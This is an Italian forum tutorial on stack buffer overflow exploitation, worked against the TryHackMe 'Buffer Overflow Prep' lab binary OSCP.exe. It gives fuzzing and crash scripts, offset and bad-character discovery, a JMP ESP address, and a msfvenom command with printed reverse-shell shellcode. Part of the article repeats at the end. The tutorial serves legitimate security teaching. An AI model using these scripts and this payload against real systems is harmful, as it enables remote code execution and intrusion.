Guida Exploit Exploit Development 101 & Stack Based Buffer Overflow (x86-32)

0xbro

Super Moderatore
24 Febbraio 2017
4,465
179
3,764
1,825
Ultima modifica:
In questo articolo introdurremo i concetti e le risorse fondamentali per introdurre la materia della binary exploitation ed exploitare una classica vulnerabilità Stack based Buffer Overflow su sistemi x86-32, partendo dalla fase di discovery fino alla scrittura dell'exploit finale.
Thumbnail.png


Exploit Development 101: Stack Based Buffer Overflow (x86-32)​









1    Introduzione

In questa guida affronteremo i concetti e gli step fondamentali per approcciarsi al mondo della binary exploitation e dell'exploit development, prendendo in esempio un caso pratico di Buffer Overflow su un sistema x86 a 32 bit (per semplicità di spiegazione), analizzandone cause e problematiche, dalla fase di discovery fino alla programmazione dell'exploit finale.

Per binary exploitation si intende l'analisi e la ricerca di vulnerabilità all'interno di software compilati (in gergo "binari"), sia in ambiente Windows che in ambiente Linux, con lo scopo di sfruttarle per eseguire codice arbitrario.
Binary Exploitation is a broad topic within Cyber Security which really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions. -
- ctf10, Binary Exploitation Overview
La binary exploitation viene anche comunemente chiamata "pwn", soprattutto nell'ambito delle CTF e delle challenge online.

Nell'esempio di oggi utilizzeremo un laboratorio specifico su TryHackMe, chiamato "Buffer Overflow Prep", con cui andremo ad analizzare una classica vulnerabilità Stack-based Buffer Overflow su un sistema Windows 7 a 32-bit. "Perché un sistema così vecchio e obsoleto?" vi starete chiedendo. Perché nel corso del tempo le architetture sono diventate sempre più complesse e hanno implementato meccanismi di protezione sempre più avanzati. Per introdurre la materia a un neofita è fondamentale mantenere i concetti il più chiaro e semplice possibile, per cui utilizzare degli esempi "old school" per confrontarli successivamente con i programmi attuali e le rispettive differenze è la scelta migliore, sia per mantenere gli esempi e i concetti "puliti", sia perché come diceva Tucidide “Bisogna conoscere il passato per capire il presente e orientare il futuro”.​

1.1    Pre-requisiti e riferimenti

Per motivi riguardanti tempistiche e lunghezza dell'articolo, in questa guida verrà data per scontata la conoscenza pregressa relativa a concetti di base sul funzionamento della CPU, della memoria e dei registri, alla sintassi del linguaggio Assembly, ai fondamenti della programmazione in Python e all'utilizzo base dei tools per l'analisi di sicurezza.​

Tali concetti possono essere appresi in autonomia tramite le seguenti risorse interne:

e tramite le seguenti risorse esterne:

Siccome utilizzeremo un laboratorio online su TryHackMe sarà necessario disporre inoltre di un account sulla suddetta piattaforma (è sufficiente il piano gratuito) e un client RDP (eg. xfreerdp o rdesktop) per collegarsi alla macchina remota. Nel mio caso userò xfreerdp e il comando per collegarsi al lab. una volta avviata un'istanza dell'ambiente sarà xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /workarea

2    Processo di Exploitation

Una volta avviata un'istanza del lab e collegatosi in remoto, siamo pronti ad iniziare il processo di exploitaion. Per la durata di questo articolo il nostro target sarà il software OSCP.exe contenuto all'interno della cartella vulnerable-apps/oscp, ma sentitevi liberi di attaccare in autonomia qualsiasi altro binario contenuto all'interno della VM.

1.png

2.1    Discovery

Per "fase di discovery" si intende il lasso temporale in cui il programma viene reversato, analizzato, studiato e testato alla ricerca delle vulnerabilità contenute in esso. Durante la fase di discovery l'obiettivo è cercare di capire la logica del programma, aiutandosi anche con strumenti di reverse engineering in modo da ottenere del codice leggibile, capire come questo si comporti e cercare di farlo crashare, sia tramite attività manuale (avendo studiato come funziona il binario sarà più facile romperlo), sia tramite fuzzing.

Per questo esempio utilizzeremo un approccio completamente blackbox (cioè senza avere informazioni sul binario o sul codice sorgente), fuzzando direttamente il programma senza provare prima a reversarlo. Nei prossimi esempi adotteremo invece un approccio più metodico, cercando di risalire a del codice leggibile.

Per fuzzare il programma dobbiamo prima però capire su quale porta stia ascoltando. Possiamo sia fare una scansione delle porte aperte, sia utilizzare netstat e fare un paragone delle porte aperte prima e dopo l'esecuzione del programma (il "pipe" dell'output del comando a findstr serve per filtrare solo le porte in stato "LISTENING"):​

2.png

A quanto pare il server è in ascolto sulla porta 1337, proviamo a collegarci con netcat e verificare cosa succede se proviamo a mandare dei pacchetti:

3.png

Ottimo, il server ci risponde! Ora possiamo interagire e cercare di farlo crashare in qualche modo. Visto che abbiamo deciso di approcciarci a questo programma in maniera completamente blackbox, dovremo affidarci a qualche sorta di fuzzer se vogliamo testare tutti i possibili comandi in un tempo ragionevole. Possiamo sia utilizzarne uno "custom" scritto a mano, sia utilizzare uno dei tanti tools esistenti.

NdR: Un fuzzer e tanto più efficace quanto più è variegato l'output che invia al programma da attaccare e quanto più è veloce. Un fuzzer che invia solo caratteri alfanumerici non è in grado di trovare tutte quelle vulnerabilità dovute a caratteri speciali e simboli, perciò cercate sempre di scegliere dei fuzzer il cui output comprenda il maggior numero di casistiche.


In questo caso utilizzeremo uno script in python3 che ci aiuti a fuzzare tutti i campi alla ricerca di un possibile crash. Lo script (molto rudimentale) è il seguente:​
Python:
#!/usr/bin/env python3
import socket, time, sys

if len(sys.argv) < 4:
    print("Usage: fuzz.py <ip> <port> <wordlist>")
    sys.exit(1)

ip      = sys.argv[1]
port    = int(sys.argv[2])
wl      = sys.argv[3]

timeout = 5
cmd_template = "OVERFLOW"

file = open(wl,"r") # w or r for string; wb or rb for bytes

for n in range(1,10):
    cmd = cmd_template + str(n)
    file.seek(0)

    for fuzz in file:
        payload = cmd + ' ' + fuzz
        #print(f"[DEBUG] Payload: {payload}")
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(timeout)
                s.connect((ip, port))
                s.recv(1024)
                print(f"Fuzzing {cmd} with {len(payload) - len(cmd) -1} bytes")
                s.send(bytes(payload, "latin-1"))
                s.recv(1024)
        except:
            print(f"Crashed using {payload} payload")
            sys.exit(0)

Siccome ognuno dei comandi risulta essere vulnerabile a un diverso buffer overflow, nella seguente guida attaccheremo il comando OVERFLOW5.
4.png

5.png

Perfetto, abbiamo fatto crashare il programma e abbiamo trovato un possibile buffer overflow dovuto ad un input troppo grande (481 bytes). Cerchiamo ora di replicare il crash con un primo scheletro di exploit e verifichiamo di essere in grado di crashare il programma a piacimento.​

2.2    Replicare il crash

Per replicare il crash in maniera costante e nel mentre iniziare a costruire il nostro exploit finale, possiamo creare un secondo script in python3 che ci aiuti nello scopo:
Python:
#!/usr/bin/env python3
import socket, sys

if len(sys.argv) < 3:
    print("Usage: fuzz.py <ip> <port>")
    sys.exit(1)

ip      = sys.argv[1]
port    = int(sys.argv[2])

crash = 481

cmd = "OVERFLOW5"
payload = cmd + " " + "A" * crash

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((ip, port))
        s.recv(1024)
        print(f"Sending payload...")
        s.send(bytes(payload, "latin-1"))
        s.recv(1024)
except:
    print(f"Crashed using {len(payload) - len(cmd) -1} bytes")
    sys.exit(0)

Eseguendo lo script il programma sembra crashare "a comando":
6.png

Bene, ora dobbiamo capire se il crash è dovuto alla sovrascrittura dell'Instruction Pointer (il registro della CPU che indica quale istruzione leggere ed eseguire) o se il crash è dovuto ad altro. Per verificarlo dobbiamo utilizzare un apposito programma in grado di collegarsi al processo del software che vogliamo analizzare e che ci permetta di ispezionare la sua memoria e lo stato dei registri della cpu: il debugger.

Esistono moltissimi debugger differenti, sia su Windows che su Linux, ognuno dei quali ha pregi e difetti. Visto che su questa macchina virtuale è presente Immunity Debugger utilizzeremo questo programma, ma sentitevi liberi di esplorare tutti gli altri debugger esistenti, come per esempio il nuovo e potentissimo WinDBG.​


NdR: Visto che i debugger operano con la memoria, la CPU, i registri e quant'altro, hanno sempre bisogno di privilegi elevati per funzionare correttamente. Ricordatevi quindi di eseguire sempre il programma come amministratore!


Per debuggare un programma abbiamo due strade: o lo eseguiamo direttamente tramite il debugger (dal menù File/Open) oppure facciamo l'attach del debugger ad un processo già in esecuzione (dal menù File/Attach).​

7.png

A primo impatto Immunity (come qualsiasi altro debugger) è molto scoraggiante. Se vi sentite intimoriti da tutte queste informazioni incomprensibili mostrate dall'interfaccia, sappiate che è normale. Sebbene l'approfondimento dello strumento è al di fuori dello scopo di questa guida, è anche vero che senza conoscere come utilizzare o leggere i dati che ci mostra il debugger, risulta impossibile comprendere e analizzare cosa stia succedendo. Facciamo dunque un rapido excursus sull'interfaccia di Immunity.​

8.png
  • Il quadrante superiore sinistro mostra le istruzioni del programma in esecuzione, in linguaggio assembly. Qua è possibile navigare il codice del programma, leggerne le varie istruzioni e abilitare/disabilitare breakpoints agli indirizzi di memoria interessati.
  • Il quadrante superiore destro mostra lo stato dei registri e il loro contenuto. Qua è possibile ispezionare e modificare in ogni momento dell'esecuzione il valore dei vari registri.
  • Il quadrante inferiore destro mostra il contenuto e lo stato dello Stack.
  • Il quadrante inferiore sinistro mostra la parte di memoria subito successiva a quella di codice.
Bene, ora che abbiamo capito un po' meglio cosa rappresentino queste quattro videate non ci resta altro che eseguire il nostro exploit e analizzare lo stato della memoria del programma dopo il crash.

9.png

Come possiamo notare dagli elementi evidenziati nell'immagine sopra, abbiamo riempito lo stack con dei dati a nostra scelta (tante "A", 0x41 in esadecimale), andando a sovrascrivere anche il registro EIP e facendo quindi crashare il server. Siccome la CPU utilizza il registro EIP per sapere quali istruzioni eseguire (la CPU esegue le istruzioni contenute all'indirizzo di memoria puntato da EIP), dal momento che EIP punta l'indirizzo di memoria 0x41414141, la CPU non trova istruzioni valide a quell'indirizzo e quindi crasha. Siccome però abbiamo sovrascritto EIP, significa che calcolando il giusto offset possiamo iniettare un indirizzo arbitrario all'interno di EIP e dirottare l'esecuzione del programma verso degli indirizzi di memoria a nostra scelta, facendogli sostanzialmente eseguire qualsiasi istruzione vogliamo!​

2.3    Controllare l'Instruction Pointer

Per controllare in maniera regolare il contenuto di EIP abbiamo bisogno di calcolare quale sia il giusto offset all'interno del buffer per arrivare all'instruction pointer. Per farlo possiamo generare un pattern univoco e controllare quale sia il contenuto di EIP una volta crashato il programma. Calcolando la distanza del contenuto di EIP rispetto all'inizio del pattern, dovremmo essere in grado di identificare il corretto offset per controllare EIP.

Esistono diverse utilities che permettono di generare tali pattern: msf-pattern_create, direttamente dalle utilities di Metasploit, cyclic, un particolare modulo di pwntools, addirittura alcuni siti online come il seguente. Scelto il nostro strumento, generiamo il pattern della lunghezza desiderata, ricordandoci comunque di utilizzare una lunghezza sufficiente per crashare il server.​
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msf-pattern_create -l 481
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9A

Aggiorniamo ora il nostro exploit, assicuriamoci di riavviare il programma che abbiamo precedentemente fatto crashate, facciamo l'attach di Immunity al processo ed inviamo nuovamente la richiesta: $ python3 exploit.py 10.10.214.42 1337
Python:
...
cmd = "OVERFLOW5"
#payload = cmd + " " + "A" * crash
payload = cmd + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9A"
...

10.png

Possiamo vedere come nello Stack sia ora presente il nostro pattern di caratteri e come EIP contenta adesso una sequenza di bytes univoci. Utilizziamo ora un qualsiasi strumento per calcolare la distanza della sequenza univoca (0x356B4134) dall'inizio del nostro pattern. Nell'esempio seguente utilizzeremo la controparte di msf-pattern_create: msf-pattern_offset.​

Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msf-pattern_offset -l 481 -q 356B4134
[*] Exact match at offset 314

Perfetto, sappiamo ora che il pattern contenuto in EIP è distante esattamente 314 caratteri dall'inizio del buffer. Ciò significa che se dopo 314 caratteri inseriamo un indirizzo arbitrario, questo finirà all'interno di EIP, permettendoci di controllare il registro a nostro piacimento e di conseguenza controllare il comportamento dell'intero programma. Verifichiamo subito che l'offset sia giusto modificando nuovamente il nostro exploit (ricordiamoci di riempire sempre il buffer in modo tale che il programma vada in crash!):
Python:
...
crash = 481
offset = 314
EIP = "BBBB"

cmd = "OVERFLOW5"
payload = cmd + " " + "A" * offset + EIP + "C" * (crash - offset - 4)
...

Lanciamo ora il nostro exploit e controlliamo se all'intero di EIP è presente "BBBB" (0x42424242).

11.png

Ci siamo! EIP contiene il valore arbitrario che abbiamo inserito all'interno dell'exploit! Ciò significa che siamo in pieno controllo di EIP e che possiamo reindirizzare l'esecuzione del programma a nostro piacimento! Non ci resta altro da fare che identificare gli eventuali bad-chars, iniettare il nostro shellcode e costringere il programma ad eseguirlo!​

2.4    Ricerca dei bad-chars

Cosa sono i bad-chars? Sono particolari bytes, diversi in ogni programma, che "rompono" o alterano uno shellcode, rendendolo inutilizzabile. I bad-chars dipendono dalle istruzioni utilizzate dal programma, per cui l'unico modo per identificarli è quello di piazzare tutti i possibili bytes all'interno dello Stack e analizzare quali di essi si comportino diversamente dal resto. Un bad-char molto noto, per esempio, è il terminatore di stringa 0x00 poiché utilizzato da molte istruzioni come carattere per indicare la fine di una stringa. Se tale byte dovesse trovarsi a metà di uno shellcode, molto probabilmente lo "spezzerebbe" in due.

Inseriamo dunque un elenco di bad-chars all'interno del nostro exploit, in modo che vengano poi inseriti nello Stack per ulteriori analisi con Immunity:​
Python:
crash = 481
offset = 314
EIP = "BBBB"

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

cmd = "OVERFLOW5"
payload = cmd + " " + "A" * offset + EIP + badchars + "C" * 100
12.png

A questo punto dovremmo avere tutti i possibili bytes all'interno dello stack. Grazie ad un plugin di Immunity già installato in questa VM, chiamano mona, possiamo utilizzare il comando !mona bytearray -b "\x00" per generare nella VM una sequenza di bytes come quella iniettata nello Stack (1) e comparare quindi le due sequenze (2), tramite il comando !mona compare -f bytearray.bin -a <address>, in cerca di un disallineamento. Il primo punto in cui troviamo una differenza tra le due sequenze significa che è presente un bad-char, il quale dovrà quindi venir rimosso dalle due sequenze.
13.png

Come mostrato in figura, il primo disallineamento è presente per il bytecode 0x16, che all'interno dello Stack è rimpiazzato con un 0x0a. Ottimo, abbiamo trovato il primo byte-code! Rimuoviamolo sia dalla sequenza di bytes nell'exploit, sia dal bytearray tramite il comando !mona bytearray -b "\x00\x16" e ripetiamo il processo finché le due sequenze non corrispondono.
14.png

Arrivati qui, abbiamo l'elenco completo dei bad-chars per questa funzione (\x00\x16\x2f\xf4\xfd), dunque siamo pronti a genere uno shellcode valido. Dobbiamo solo più capire in quale punto dello Stack ci conviene piazzarlo, dopodichè avremo tutto il necessario per scrivere il nostro exploit conclusivo ed ottenere una shell.​

2.5    Ricerca di una zona in cui iniettare lo shellcode

Siamo quasi pronti, dobbiamo solo più trovare dove piazzare il nostro shellcode. Potremmo provare a metterlo "a caso" nello Stack e provare ad indovinare l'indirizzo di memoria corretto, ma ciò non renderebbe il nostro exploit attendibile, garantendo chance di successo troppo basse. Dobbiamo trovare invece un modo consistente che ci permetta di puntare con il 100% di sicurezza il nostro shellcode. Diamo quindi un'ulteriore occhiata allo stato dei registri al momento del crash del programma:
15.png

Sia il registro EAX che il registro ESP, al momento del crash, puntano indirizzi di memoria all'interno dello Stack. Il primo punta esattamente all'inizio del nostro buffer, perciò per saltare dentro allo shellcode dovremmo aggiungere almeno 10 bytes all'indirizzo di memoria (in modo da saltare dopo il comando "OVERFLOW5 "). Il secondo invece punta esattamente dentro il nostro buffer di badchars, per cui se rimpiazzassimo quei bytes con il nostro shellcode, potremo usare ESP come "trampolino" (tecnicamente chiamato gadget) in modo da saltare all'indirizzo da lui puntato e atterrare quindi dentro lo shellcode.

Il payload risulterebbe quindi simile al seguente: "OVERFLOW5 " + PADDING + EIP + SHELLCODE + FILLER

Per fare ciò, però, dobbiamo prima trovare un gadget che ci permetta di utilizzare ESP come punto di riferimento. In assmbly esistono diverse istruzioni che permettono di saltare direttamente ad un indirizzo di memoria, come per esempio JMP o CALL. Il nostro obiettivo è trovare un'istruzione all'interno del binario o delle librerie caricate da esso che ci permetta di "saltare dentro ESP" (JMP ESP). Usando msf-nasm_shell o rasm2 possiamo convertire in bytecode l'istruzione che ci interessa, dopodiché possiamo utilizzare nuovamente mona per cercarla all'interno del binario.

Convertiamo in bytecode l'istruzione jmp esp:​
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msf-nasm_shell
nasm > jmp esp
00000000  FFE4              jmp esp

Analizziamo tutti i moduli importati del programma con il comando !mona modules e cerchiamone una senza protezioni:

16.png

Cerchiamo infine con il comando !mona find -s "\xff\xe4" -m <nome_modulo> -cpb '\x00\x16\x2f\xf4\xfd' il bytecode che ci interessa, escludendo con i flag -cpb tutti gli indirizzi contenenti dei bad-chars:​

17.png

oscp.exe non contiene l'istruzione che ci interessa, ma essfunc.dll ne contiene ben 9. Siccome la .dll non implementa nessun meccanismo di protezione, gli indirizzi di memoria saranno sempre gli stessi, per cui scelto un indirizzo potremo usare sempre quello senza preoccuparci di ricalcolarlo. Nel mio caso utilizzerò 0x625011AF.

Perfetto, a questo punto abbiamo anche l'indirizzo di JMP ESP, che nel nostro exploit prenderà il posto di EIP (vogliamo che EIP punti all'indirizzo di JMP ESP in modo tale che quando poi lo esegue salti sempre dentro il nostro shellcode, in maniera costante). Manca solo più generare lo shellcode e siamo pronti!​

2.6    Generazione dello shellcode

Arrivati qui possiamo decidere se utilizzare uno shellcode già esistente dai db più famosi, come per esempio shell-storm, o se generarci il nostro shellcode custom. In linea di massima è sempre preferibile generarsi lo shellcode in autonomia, in modo da avere il maggior controllo possibile sul suo contenuto e sui bad-chars da evitare, per cui utilizziamo msfvenom per aiutarci nell'intento. Usiamo come payload una generica reverse shell stageless per windows, il flag -b <bytes> per specificare l'elenco di bad-chars da evitare, -f py per specificare il formato python ed EXITFUNC=thread per cercare di non crashare il programma all'uscita della shell:
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=10099 -f py -b "\x00\x16\x2f\xf4\xfd" EXITFUNC=thread -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
...
Payload size: 353 bytes
Final size of py file: 1990 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x71\xdf\x87\xbd\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x8d\x37\x05\xbd\x6d\xc8\x6a\x37"
shellcode += b"\x88\xf9\xaa\x23\xd9\xaa\x1a\x27\x8f\x46\xd0"
shellcode += b"\x65\x3b\xdc\x94\xa1\x4c\x55\x12\x94\x63\x66"
shellcode += b"\x0f\xe4\xe2\xe4\x52\x39\xc4\xd5\x9c\x4c\x05"
shellcode += b"\x11\xc0\xbd\x57\xca\x8e\x10\x47\x7f\xda\xa8"
shellcode += b"\xec\x33\xca\xa8\x11\x83\xed\x99\x84\x9f\xb7"
shellcode += b"\x39\x27\x73\xcc\x73\x3f\x90\xe9\xca\xb4\x62"
shellcode += b"\x85\xcc\x1c\xbb\x66\x62\x61\x73\x95\x7a\xa6"
shellcode += b"\xb4\x46\x09\xde\xc6\xfb\x0a\x25\xb4\x27\x9e"
shellcode += b"\xbd\x1e\xa3\x38\x19\x9e\x60\xde\xea\xac\xcd"
shellcode += b"\x94\xb4\xb0\xd0\x79\xcf\xcd\x59\x7c\x1f\x44"
shellcode += b"\x19\x5b\xbb\x0c\xf9\xc2\x9a\xe8\xac\xfb\xfc"
shellcode += b"\x52\x10\x5e\x77\x7e\x45\xd3\xda\x17\xaa\xde"
shellcode += b"\xe4\xe7\xa4\x69\x97\xd5\x6b\xc2\x3f\x56\xe3"
shellcode += b"\xcc\xb8\x99\xde\xa9\x56\x64\xe1\xc9\x7f\xa3"
shellcode += b"\xb5\x99\x17\x02\xb6\x71\xe7\xab\x63\xd5\xb7"
shellcode += b"\x03\xdc\x96\x67\xe4\x8c\x7e\x6d\xeb\xf3\x9f"
shellcode += b"\x8e\x21\x9c\x0a\x75\xa2\xa9\xc2\xcc\xc3\xc6"
shellcode += b"\xd0\x2e\x03\x64\x5c\xc8\x21\x9a\x08\x43\xde"
shellcode += b"\x03\x11\x1f\x7f\xcb\x8f\x5a\xbf\x47\x3c\x9b"
shellcode += b"\x0e\xa0\x49\x8f\xe7\x40\x04\xed\xae\x5f\xb2"
shellcode += b"\x99\x2d\xcd\x59\x59\x3b\xee\xf5\x0e\x6c\xc0"
shellcode += b"\x0f\xda\x80\x7b\xa6\xf8\x58\x1d\x81\xb8\x86"
shellcode += b"\xde\x0c\x41\x4a\x5a\x2b\x51\x92\x63\x77\x05"
shellcode += b"\x4a\x32\x21\xf3\x2c\xec\x83\xad\xe6\x43\x4a"
shellcode += b"\x39\x7e\xa8\x4d\x3f\x7f\xe5\x3b\xdf\xce\x50"
shellcode += b"\x7a\xe0\xff\x34\x8a\x99\x1d\xa5\x75\x70\xa6"
shellcode += b"\xc5\x97\x50\xd3\x6d\x0e\x31\x5e\xf0\xb1\xec"
shellcode += b"\x9d\x0d\x32\x04\x5e\xea\x2a\x6d\x5b\xb6\xec"
shellcode += b"\x9e\x11\xa7\x98\xa0\x86\xc8\x88\xa0\x28\x37"
shellcode += b"\x33"

Ci siamo, abbiamo il nostro payload già in formato python3 pronto per essere utilizzato! Non ci resta altro da fare che inserirlo nell'exploit e lanciarlo per ottenere una reverse shell!​

2.7    Stesura dell'exploit finale

Perfetto, abbiamo tutto ciò che ci serve e abbiamo anche già una bozza di exploit. Aggiungiamo innanzitutto il nostro shellcode. E' buona norma aggiungere come commento il comando utilizzato per generare la sequenza di bytes, per cui aggiungetelo. Siccome stiamo usando python3, è fondamentale che prima di ogni bytes sia presente la lettera b (b"\xcc\xbb\xaa", per esempio), altrimenti tali caratteri verrebbero interpretati come caratteri ascii anzichè come rispettivi raw-bytes, rompendo lo shellcode. Per essere sicuro di non corrompere lo shellcode ho aggiunto un NOP-sled di 32 bytes prima di esso (\x90), in modo da creare uno scivolo di istruzioni nulle (nop significa proprio no-operation, 0x90 non fa nulla se non far avanzare di un byte l'istruction pointer). In questo modo lo shellcode ha 32 bytes di spazio antecedente a se stesso in caso dovesse eseguire una decodifica dei propri caratteri (capita che i payload encodati si corrompano da soli nel processo di decoding proprio perchè non hanno abbastanza "spazio di manovra" per piazzare la stub di decodifica). Infine ho usato il modulo struct per allineare l'indirizzo EIP secondo il sistema little endian

L'exploit finale risulta essere quindi il seguente:

Non ci resta altro da fare che lanciarlo e catturare la nostra reverse shell!

18.png

3    Conclusioni

Questa è la logica di base riguardo i fondamenti dell'exploitation di vulnerabilità Stack-based Buffer Overflow. Ovviamente i programmi moderni non girano più su 32 bit, bensì su 64, e i compilatori implementano, ove possibile, numerose tecniche di mitigazione e protezione (che vedremo prossimamente). Inoltre tenete presente che la binary exploitation in ambiente Linux potrebbe leggermente differire da ciò che abbiamo visto oggi su Windows.​

3.1    Extra-miles: Programmi vulnerabili con cui esercitarsi

Se voleste esercitarvi con altri binari "retrò" vulnerabili a Stack-based Buffer Overflow, date un occhiata ai seguenti programmi:

3.2    Ulteriori risorse e approfondimenti



Made with ❤ for Inforge

 
Visualizza allegato 63040

Exploit Development 101: Stack Based Buffer Overflow (x86-32)​









1    Introduzione

In questa guida affronteremo i concetti e gli step fondamentali per approcciarsi al mondo della binary exploitation e dell'exploit development, prendendo in esempio un caso pratico di Buffer Overflow su un sistema x86 a 32 bit (per semplicità di spiegazione), analizzandone cause e problematiche, dalla fase di discovery fino alla programmazione dell'exploit finale.

Per binary exploitation si intende l'analisi e la ricerca di vulnerabilità all'interno di software compilati (in gergo "binari"), sia in ambiente Windows che in ambiente Linux, con lo scopo di sfruttarle per eseguire codice arbitrario.

La binary exploitation viene anche comunemente chiamata "pwn", soprattutto nell'ambito delle CTF e delle challenge online.

Nell'esempio di oggi utilizzeremo un laboratorio specifico su TryHackMe, chiamato "Buffer Overflow Prep", con cui andremo ad analizzare una classica vulnerabilità Stack-based Buffer Overflow su un sistema Windows 7 a 32-bit. "Perché un sistema così vecchio e obsoleto?" vi starete chiedendo. Perché nel corso del tempo le architetture sono diventate sempre più complesse e hanno implementato meccanismi di protezione sempre più avanzati. Per introdurre la materia a un neofita è fondamentale mantenere i concetti il più chiaro e semplice possibile, per cui utilizzare degli esempi "old school" per confrontarli successivamente con i programmi attuali e le rispettive differenze è la scelta migliore, sia per mantenere gli esempi e i concetti "puliti", sia perché come diceva Tucidide “Bisogna conoscere il passato per capire il presente e orientare il futuro”.​

1.1    Pre-requisiti e riferimenti

Per motivi riguardanti tempistiche e lunghezza dell'articolo, in questa guida verrà data per scontata la conoscenza pregressa relativa a concetti di base sul funzionamento della CPU, della memoria e dei registri, alla sintassi del linguaggio Assembly, ai fondamenti della programmazione in Python e all'utilizzo base dei tools per l'analisi di sicurezza.​

Tali concetti possono essere appresi in autonomia tramite le seguenti risorse interne:

e tramite le seguenti risorse esterne:

Siccome utilizzeremo un laboratorio online su TryHackMe sarà necessario disporre inoltre di un account sulla suddetta piattaforma (è sufficiente il piano gratuito) e un client RDP (eg. xfreerdp o rdesktop) per collegarsi alla macchina remota. Nel mio caso userò xfreerdp e il comando per collegarsi al lab. una volta avviata un'istanza dell'ambiente sarà xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /workarea

2    Processo di Exploitation

Una volta avviata un'istanza del lab e collegatosi in remoto, siamo pronti ad iniziare il processo di exploitaion. Per la durata di questo articolo il nostro target sarà il software OSCP.exe contenuto all'interno della cartella vulnerable-apps/oscp, ma sentitevi liberi di attaccare in autonomia qualsiasi altro binario contenuto all'interno della VM.


2.1    Discovery

